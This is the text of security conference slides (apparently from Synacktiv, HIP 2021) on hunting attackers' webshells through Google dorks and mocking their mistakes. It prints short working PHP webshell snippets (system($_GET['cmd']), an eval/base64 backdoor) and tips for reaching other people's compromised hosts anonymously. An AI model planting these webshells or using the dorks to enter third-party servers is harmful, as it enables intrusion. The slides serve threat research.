HIP_2021_CannibalHacking
HIP_2021_CannibalHacking
19 novembre 2021
Synacktiv
0xMitsurugi
Table of contents
1 Introduction
2 Web (in)-security
6 Lessons learned
3 Search all the things
7 Conclusion
4 Attacker arsenal
My company
https ://www.synacktiv.com
Offensive security company, based in France
We’re hiring !
reverse, pentest, DFIR, dev
interns !
just ask
3/71
Let start !
IDA <3
4/71
Let start !
IDA <3
5/71
About this talk
Warning
lack of asm, lack of 0-days
lack of legal base ¯\(°_o)/¯
Times flies…
It’s been a long long time
COVID, delays, and so on, parts of this document are more than 2 years old…
Oldies still goodies
6/71
Table of contents
1 Introduction
2 Web (in)-security
6 Lessons learned
3 Search all the things
7 Conclusion
4 Attacker arsenal
Which malware ?
phishing
mirai/gafgyt/bots/malware
data hosting
defacing (less and less)
any other purpose
8/71
The bad guys
Yummy ! restaurant
9/71
The bad guys
10/71
The poor admins
11/71
But pirates are admin too !
Guess what
They are no better
weak passwords
same technics reused again and again
Lots of artefacts left
12/71
Table of contents
1 Introduction
2 Web (in)-security
6 Lessons learned
3 Search all the things
7 Conclusion
4 Attacker arsenal
Goooooooooogle…
14/71
Dork like a boss
Just search..
Good google
Google is good ? evil ?
Google hides results
Be better than google
15/71
Dork like a boss
853 only ??
16/71
Dork like a boss
Better
17/71
Dork like a boss
Better
gmail.com e10adc3949ba59abbe56e057f20f883e ext:txt
Why ?
18/71
Dork like a boss
Webshells
search for name of webshells
(yes it works..)
search for upload dirs
search for opendir
Use virustotal, urlscan and so on
Scrap google
use archive
go back in time when DNS are wiped :
curl --resolve infected.com:80:A.B.C.D https://infected.com
19/71
Dork like a boss
20/71
Dork like a boss
Juicy search
21/71
Dork like a boss
Webshell
22/71
Dork like a boss
File Manager
23/71
Dork like a boss
perlbot, yikes !
24/71
Dork like a boss
Another webshell
25/71
Dork like a boss
26/71
Dork like a boss
27/71
Dork like a boss
Wanna passwords ?
28/71
Dork like a boss
Bad google
Google is clever and know those tricks
Prepare to get captcha-ed !
Bad searches
intitle:webshell
all of the so-called “best dork of 2020” you found
And honeypots
You won’t learn anything
29/71
Dork like a boss
Bim
30/71
Dork like a boss
Bim
31/71
Dork like a boss
Honeypot :(
32/71
Bounce like a boss
Explore directories !
cheap hoster –> all hosts infected !
access.log –> find other webshell
33/71
Bounce like a boss
34/71
Bounce like a boss
Then a host
35/71
Bounce like a boss
Then a host
36/71
Bounce like a boss
37/71
Bounce like a boss
38/71
Table of contents
1 Introduction
2 Web (in)-security
6 Lessons learned
3 Search all the things
7 Conclusion
4 Attacker arsenal
40/71
Analyze all the files
Copy pasting
A lot of webshells
A gazillion of copies for each
Same with phish kits
Same with file managers
Passwords are usually bad
If you have one shot, try ‘cracking’
41/71
Making fun of mistakes
Yay ! Mistakes !
(...)
$PASS='4d1f35512954cb227b25bbd92e15bc7b'; //$PASS=cracking
(...)
$PASS=md5('cracking')
<label for=”Password”>Password:</label><H1>cracking</H1>
<input class=”password” type=”password” id=”Password” name=”Password”
/>
42/71
Making fun of mistakes
Yay ! Mistakes !
$PASS='4d1f35512954cb227b25bbd92e15bc7b';
$password = md5($_GET['pass']);
if (($password == $PASS) or (apache_request_headers()['L'] == 'L')) {
print(”Access granted”);
} else {
die();
}
43/71
Making fun of mistakes
44/71
Backdooring the backdoor
45/71
Backdooring the backdoor
<?php
(lot of php stuff)
eval(gzuncompress(base64_decode('a long string .... ')));
(again a lot of php stuff)
?>
46/71
Attacker defense
47/71
Attacker defense
48/71
Attacker defense
Some anti-something
49/71
Attacker defense
Crude language
50/71
Attacker defense
51/71
Attacker defense
htaccess
sometime small, sometime big, sometime fun
A.B.C.D // leecher!
E.F.G.H // NSA or google
I.J.K.L // fuck you!
52/71
Attacker defense
<?php
system($_GET['cmd']);
?>
and now..
<?php
if isset($_GET['aef']) { system($_POST['vji']); }
?>
53/71
But, how they came in ? Can we know ?
No DFIR today..
Sometime easy to guess
unauth upload dir
old vulnerable stuff
Sometime impossible
ssh bruteforce ?
other host ?
other vector ?
54/71
Table of contents
1 Introduction
2 Web (in)-security
6 Lessons learned
3 Search all the things
7 Conclusion
4 Attacker arsenal
56/71
Curious cases of phishing failures
57/71
Curious cases of phishing failures
58/71
Curious cases of phishing failures
59/71
Curious cases of phishing failures
60/71
The boring case of Mirai/gafgyt and other bots
61/71
Exceptionnaly
Once in while
new malware variant
strong code
Still unclear
webshell well hidden
good passwords
62/71
Analyze all the files
Technic
A full wordpress theme uploaded
PHP code embedded in a wordpress variable (or base64 png)
Custom extraction routine
Password MD5 used as a seed to decrypt php
Still working on it
63/71
Analyze all the files
64/71
Analyze all the files
65/71
Table of contents
1 Introduction
2 Web (in)-security
6 Lessons learned
3 Search all the things
7 Conclusion
4 Attacker arsenal
67/71
Don’t get your host smashed
68/71
Table of contents
1 Introduction
2 Web (in)-security
6 Lessons learned
3 Search all the things
7 Conclusion
4 Attacker arsenal
Personal thought
Landscape is evolving
Less and less “personal” webservers
More and more facebook pages, no more personal blog
Or less and less PHP ?
pirates are better at hiding ?
or more and more exposure
trackers etc..
70/71
Final words ?
google is (bad|good)
Finding bad guys is harder
warning
I’m not a lawyer, but : don’t do this at home, it may be highly illegal
use tor (at the cost at high captcha rates)
use kali in live mode in VM in a burner laptop
71/71
DO YOU HAVE
ANY QUESTIONS ?